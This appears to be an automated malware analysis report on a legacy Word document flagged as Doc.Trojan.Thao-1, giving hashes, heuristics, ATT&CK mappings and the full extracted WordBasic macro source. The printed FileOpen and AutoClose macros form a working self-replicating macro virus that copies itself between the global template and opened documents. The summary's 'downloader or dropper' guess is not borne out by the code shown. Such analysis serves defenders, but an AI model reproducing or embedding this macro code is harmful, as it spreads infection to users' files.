Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 63be3f4ea5a17a35…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3c42ca8aa96d498e30fd676e1409dd2e SHA-1: 5cfbcde3646aa4b2e0b76120919bb774cd8686a7 SHA-256: 63be3f4ea5a17a35a1452536336a4559cfaf07b361817ea64fffdaf1d70ff1cb
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing WordBasic macros, specifically triggering on FileOpen and AutoClose events. The AutoClose macro copies both FileOpen and AutoClose macros to the global template, indicating an attempt to establish persistence or ensure execution. The presence of legacy WordBasic macros and the Auto_Close heuristic strongly suggest a downloader or droppper functionality.

Heuristics 4

  • ClamAV: Doc.Trojan.Thao-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thao-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1563 bytes
SHA-256: 1995022db1f4389b4d5bb29149a4d848872651049f48256485b62161c9c5a4fd
Detection
ClamAV: Doc.Trojan.Thao-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Opens an existing document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
Dim ExecuteOnly
On Error GoTo -1: On Error GoTo quit
    Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
    WordBasic.CurValues.FileOpen dlg
    WordBasic.Dialog.FileOpen dlg
    WordBasic.FileOpen dlg
    WordBasic.FileSaveAs Name:=WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Global:FileOpen", WordBasic.[FileName$]() + ":FileOpen", ExecuteOnly
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", ExecuteOnly
    WordBasic.FileSaveAs Name:=WordBasic.[FileName$](), Format:=1
WordBasic.MsgBox "I loce you, Thao", "Microsoft Word"
quit:
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Closes all of the windows of the active document"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim ExecuteOnly
On Error GoTo -1: On Error GoTo quit
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileOpen", "Global:FileOpen", ExecuteOnly
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", ExecuteOnly
quit:
End Sub

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